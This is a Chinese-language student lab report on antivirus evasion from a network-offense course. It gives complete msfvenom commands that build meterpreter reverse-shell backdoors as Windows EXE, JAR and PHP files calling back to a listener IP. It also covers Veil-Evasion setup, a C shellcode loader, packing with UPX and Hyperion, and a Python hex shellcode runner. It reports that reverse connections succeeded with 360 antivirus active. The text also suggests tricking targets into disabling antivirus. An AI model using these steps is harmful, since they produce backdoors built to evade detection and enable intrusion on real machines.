一、惡意代碼檢測機制和免殺原理
- 由於老師實驗指導書中有提到了,這部分內容不加贅述,只是提及一下。
1.惡意代碼檢測機制
- 1.1 基於特征碼的檢測
- 簡單來說一段特征碼就是一段或多段數據。如果一個可執行文件(或其他運行的庫、腳本等)包含這樣的數據則被認為是惡意代碼。
- 1.2 啟發式惡意軟件檢測
- “When I see a bird that walks like a duck and swims like a duck and quacks like a duck, I call that bird a duck.” 對惡意軟件檢測來說,就是如果一個軟件在干通常是惡意軟件干的事,看起來了像個惡意軟件,那我們就把它當成一個惡意軟件吧。典型的行為如連接惡意網站、開放端口、修改系統文件,典型的“外觀”如文件本身簽名、結構、廠商等信息等。各個廠商會定義自己的檢測模式。
- 1.3 基於行為的惡意軟件檢測
- 從理論上講,基於行為的檢測相當於是啟發式的一種,或者是加入了行為監控的啟發式。
2.免殺原理(Evading Anti-Virus)
-
改變特征碼
- 如果你手里只有EXE
- 加殼:壓縮殼 加密殼
- 有shellcode(像Meterpreter)
- 用encode進行編碼
- 基於payload重新編譯生成可執行文件
- 有源代碼
- 用其他語言進行重寫再編譯(veil-evasion)
- 如果你手里只有EXE
-
改變行為
- 通訊方式
- 盡量使用反彈式連接
- 使用隧道技術
- 加密通訊數據
- 操作模式
- 基於內存操作
- 減少對系統的修改
- 加入混淆作用的正常功能代碼
- 通訊方式
-
非常規方法
- 使用一個有漏洞的應用當成后門,編寫攻擊代碼集成到如MSF中。
- 使用社工類攻擊,誘騙目標關閉AV軟件。
- 純手工打造一個惡意軟件
二、實驗內容
1.任務一:正確使用msf編碼器,msfvenom生成如jar之類的其他文件,veil-evasion,自己利用shellcode編程等免殺工具或技巧
1.1 正確使用msf編碼器,生成exe文件
- 在實驗二中使用msf生成了后門程序
20175215_backdoor.exe,為了方便檢測起見我將數字部分去掉。然后使用VirusTotal或Virscan這兩個網站對生成的后門程序進行掃描 - 用VirusTotal掃描后結果如下:

- 使用用Virscan網站的時候不知道為什么上傳不了文件,使用這個網站的beta版程序上傳的結果顯示如下:(看來可能是服務器的問題)

通過VirusTotal的掃描結果我們知道不加任何處理的后門程序能夠被大多數殺軟檢測到,下面我們使用msf編碼器對后門程序進行一次到多次的編碼,並進行檢測。
- 一次編碼:
-e選擇編碼器,-b是payload中需要清除的字符,該命令中為了使\x00'不出現在shellcode中,因為shellcode以\x00'為結束符。
msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -b '\x00' LHOST=192.168.3.26 LPORT=5215 -f exe > encoded1.exe- 生成過程截圖:

- 使用VirusTotal檢測截圖:

- 生成過程截圖:
- 十次編碼:使用
-i設置迭代次數
msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 10 -b '\x00' LHOST=192.168.3.26 LPORT=5215 -f exe > encoded10.exe- 生成過程截圖:

- 使用VirusTotal檢測截圖

- 生成過程截圖:
- 可見多次編碼對於免殺沒有太大的幫助,主要有兩點原因:
- shikata_ga_nai總會有解碼(decoder stub)部分需要加入的exe中,殺軟只要找到了這一部分,就能查出這是惡意代碼。
- msfvenom總以固定的模版來生成exe文件。它所有生成的exe文件,如果使用默認參數或者模版,也有一定的固定特征,所以一般來說AV廠商會針對msf使用的模板生成特征碼偵測,這樣就能解決所有msfvenom生成的惡意代碼了。
2.1msfvenom生成jar文件
- 生成java后門程序:
msfvenom -p java/meterpreter/reverse_tcp LHOST=192.168.3.26 LPORT=5215 x> dwt_backdoor_java.jar- 生成過程截圖

- 使用VirusTotal檢測截圖

- 生成過程截圖
2.2mfsvenom生成php文件
- 生成PHP后門程序使用命令
msfvenom -p php/meterpreter/reverse_tcp LHOST=192.168.3.26 LPORT=5215 x> dwt_backdoor.php- 生成過程截圖

- 使用VirusTotal檢測截圖

- 生成過程截圖
想要生成更多其它形式的文件請參考15級學姐的博客
3.使用veil-evasion生成后門程序及檢測
- 參考kali201703安裝Veil Evasion和解決Veil—Evasion安裝中git clone導致失敗的問題,成功安裝好veil(只有在萬不得已的情況下使用這種方法裝veil,因為這樣裝會導致后面Hyperion的某些使用錯誤,要調試很久)
- 然后輸入
veil指令,進入如下頁面

- 輸入
use evasion命令進入veil-evasion

- 輸入
use c/meterpreter/rev_tcp.py進入配置界面

- 設置反彈連接IP:
set LHOST 192.168.30.135(此處為KaliIP),端口:set LPORT 5215

- 輸入
generate生成文件,接着輸入你想要payload的名字:veil_c_5215,如圖所示,文件保存路徑為:/var/lib/veil/output/compiled/veil_c_5215.exe

- 使用VirusTotal檢測截圖:

4.使用shellcode編程
-
首先使用命令:
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.30.135 LPORT=5215 -f c生成一段shellcode。 -
創建一個文件
20175215.c,然后將unsigned char buf[]賦值到其中,代碼如下:
unsigned char buf[] =
"\xfc\xe8\x82\x00\x00\x00\x60\x89\xe5\x31\xc0\x64\x8b\x50\x30"
此處省略
"\xc3\xbb\xf0\xb5\xa2\x56\x6a\x00\x53\xff\xd5";
int main()
{
int (*func)() = (int(*)())buf;
func();
}
- 輸入
i686-w64-mingw32-g++ 20175215.c -o 20175215.exe,將此文件編譯為可執行文件。

- 在VirusTotal檢測截圖

- 當想要使用windows上執行該程序時,被電腦的聯想電腦管家隔離。

5.加殼工具
-
加殼的全稱應該是可執行程序資源壓縮,壓縮后的程序可以直接運行。
-
加殼的另一種常用的方式是在二進制的程序中植入一段代碼,在運行的時候優先取得程序的控制權,之后再把控制權交還給原始代碼,這樣做的目的是為了隱藏程序真正的OEP(入口點,防止被破解)。大多數病毒就是基於此原理。
-
加殼的程序需要阻止外部程序或軟件對加殼程序本身的反匯編分析或者動態分析,以達到保護殼內原始程序以及軟件不被外部程序破壞,保證原始程序正常運行。
-
這種技術也常用來保護軟件版權,防止軟件被破解。但對於病毒,加殼可以繞過一些殺毒軟件的掃描,從而實現它作為病毒的一些入侵或破壞的一些特性。
-
MSF的編碼器使用類似方法,對shellcode進行再編碼。
-
從技術上分殼分為:
- 壓縮殼
- 減少應用體積,如ASPack,UPX
- 加密殼
- 版權保護,反跟蹤。如ASProtect,Armadillo
- 虛擬機
- 通過類似編譯手段,將應用指令轉換為自己設計的指令集。如VMProtect, Themida
- 壓縮殼
-
使用壓縮殼:UPX
- 給之前的20175215.exe加個殼得到dwt_upxed.exe:

- 運行之后被判斷為威脅,將其加入白名單方便測試反彈連接:

- 使用實驗二的方法測試一下能不能進行反彈連接(具體方法具體軟件不同,就不贅述了):

- 使用VirusTotal檢測截圖:

- 給之前的20175215.exe加個殼得到dwt_upxed.exe:
-
使用加密殼:Hyperion
- 不知道為什么在veil的路徑下沒找到Hyperion.exe,於是我到網上參考【滲透測試】在Kali中使用mingw-w64編譯Hyperion(包括舊的常用的1.x版本和最新的2.2版本)重新弄了一個Hyperion.exe,使用命令:
wine hyperion.exe -v dwt_upxed.exe dwt_upxed_Hyperion.exe成功加殼。

- 將后門程序加入白名單后,反彈連接成功:

- 使用VirusTotal檢測截圖:

- 不知道為什么在veil的路徑下沒找到Hyperion.exe,於是我到網上參考【滲透測試】在Kali中使用mingw-w64編譯Hyperion(包括舊的常用的1.x版本和最新的2.2版本)重新弄了一個Hyperion.exe,使用命令:
使用其他方法完成任務一。
(1)參考遠控免殺專題(30)-Python加載shellcode免殺-8種方式(VT免殺率10-69)
(2)這個是本方法中使用的所有文件的百度網盤鏈接,提取碼:9m7i
- 執行
msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 6 -b '\x00' lhost=192.168.30.135 lport=5215 -f c -o shell.c制作出shellcode的文件。

- 然后使用k8飛刀將把shellcode轉成hex:

- 下載
ScrunHex.py,然后使用VirusTotal檢測Scrunhex.py的截圖(由於從github上直接下載ScRunHex.py太慢了,我直接拷貝了源碼然后做了一個文件):

- 在Windows中的
cmd.exe中進入裝好的Python文件夾下使用python ScRunHex.py hexcode就可以加載執行shellcode了(下圖為與殺軟共生的截圖)

- msf中正常上線,使用
dir命令發現就是python的這個文件夾沒錯了

2.任務二、通過組合應用各種技術實現惡意代碼免殺
- 簡述免殺原理:使用C+shellcode,然后將shellcode轉化為hex,並且使用
ScRunHex.py與python運行hex碼,避免了殺軟掃描到ScRunHex.exe的特征碼,而同時使用了不同的編碼方式混淆,讓殺軟暈頭轉向。 - 詳細方法見上文使用其他方法完成任務一
3.任務三:用另一台電腦實測,在殺軟開啟的情況下,可運行並回連成功,注明電腦的殺軟名稱與版本
- 使用的是婁老師之前給的Win7系統,同時
dir后的截圖中的文件列表有本虛擬機的特色(專用的串口驅動) - 殺軟名稱:360安全衛士
- 版本:12.0.0.2002

SP1.基礎問題回答與實驗體會。
1.基礎問題回答
(1)殺軟是如何檢測出惡意代碼的?
- 基於特征碼的檢測:如果一個可執行文件(或其他運行的庫、腳本等)包含被標記過特征的數據則被認為是惡意代碼。
- 啟發式惡意軟件檢測:就是如果一個軟件在干通常是惡意軟件干的事,看起來了像個惡意軟件,它就被當做了惡意軟件
- 基於行為的惡意軟件檢測:相當於是啟發式的一種,或者是加入了行為監控的啟發式。
(2)免殺是做什么?
- 使用一些特殊的手段對惡意軟件進行處理,讓他不被殺毒軟件所檢測。
(3)免殺的基本方法有哪些?
- 改變特征碼:進行exe文件加殼操作,或者對shellcode用encode進行編碼或者基於payload重新編譯生成可執行文件、
- 改變行為:使用反彈式連接、隧道技術與加密通訊的數據。同時加入正常功能代碼、盡量減少對系統的修改。
2.實驗體會
- 在本次實驗中遇到的最大的問題就是安裝veil了,在安裝的時候由於連接的服務器響應過慢,而且總是“掛斷”,於是我選擇手動將安裝veil所需的文件導入再改動安裝腳本文件。
- 而在免殺實驗中,我電腦安裝的安全軟件與大多數人的較為不同,叫
聯想電腦管家,我嘗試了多種免殺方法都沒法逃脫它的法眼。而后使用各種加殼方法都無法逃脫免殺的我最終使用了老師給的python類的免殺方法,最后成功完成遠控。 - 不過我認為這還是我對免殺處理的理解不到位,,我應該更多的學習,而不是滿足於實驗的完成。
SP2.參考資料
1.MAL_免殺原理與實踐
2.2018-2019-2 網絡對抗技術 20165318 Exp3 免殺原理與實踐
3.2017-2018-2 『網絡對抗技術』Exp2:后門原理與實踐
4.kali201703安裝Veil Evasion
5.解決Veil—Evasion安裝中git clone導致失敗的問題
6.【滲透測試】在Kali中使用mingw-w64編譯Hyperion(包括舊的常用的1.x版本和最新的2.2版本)
7.遠控免殺專題(30)-Python加載shellcode免殺-8種方式(VT免殺率10-69)
